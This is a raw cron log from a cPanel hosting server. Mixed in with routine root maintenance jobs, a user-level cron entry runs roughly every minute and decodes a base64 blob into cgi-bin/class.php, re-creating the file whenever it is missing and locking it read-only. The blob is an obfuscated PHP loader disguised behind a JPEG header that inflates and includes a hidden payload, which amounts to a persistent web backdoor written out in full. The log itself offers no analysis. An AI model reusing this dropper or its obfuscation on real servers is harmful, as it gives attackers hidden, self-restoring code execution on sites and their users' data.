Sep  9 05:38:01 server CROND[6004]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 05:38:01 server CROND[6005]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:39:01 server CROND[6385]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:39:01 server CROND[6386]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:39:01 server CROND[6388]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 05:39:01 server CROND[6387]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  9 05:40:01 server CROND[6778]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:40:01 server CROND[6779]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 05:40:01 server CROND[6781]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 05:40:01 server CROND[6784]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 05:40:01 server CROND[6786]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 05:40:01 server CROND[6789]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 05:40:01 server CROND[6788]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 05:40:01 server CROND[6787]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:41:01 server CROND[7707]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 05:41:01 server CROND[7708]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:41:01 server CROND[7709]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:42:01 server CROND[8088]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 05:42:01 server CROND[8087]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 05:42:01 server CROND[8089]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:42:01 server CROND[8090]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:43:01 server CROND[8478]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 05:43:01 server CROND[8479]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:43:01 server CROND[8480]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:44:01 server CROND[8856]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 05:44:01 server CROND[8857]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:44:01 server CROND[8858]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:45:01 server CROND[9264]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 05:45:01 server CROND[9267]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 05:45:01 server CROND[9271]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 05:45:01 server CROND[9270]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 05:45:01 server CROND[9273]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:45:01 server CROND[9269]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 05:45:01 server CROND[9276]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:46:01 server CROND[10250]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:46:01 server CROND[10251]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 05:46:01 server CROND[10252]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:47:01 server CROND[10646]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:47:01 server CROND[10648]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:47:01 server CROND[10647]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 05:48:01 server CROND[11038]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:48:01 server CROND[11040]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 05:48:01 server CROND[11039]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:49:01 server CROND[11440]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:49:01 server CROND[11441]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:49:01 server CROND[11442]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 05:50:01 server CROND[11830]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 05:50:01 server CROND[11832]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 05:50:01 server CROND[11835]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 05:50:01 server CROND[11836]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 05:50:01 server CROND[11833]: (root) CMD (/usr/lib64/sa/sa1 1 1)
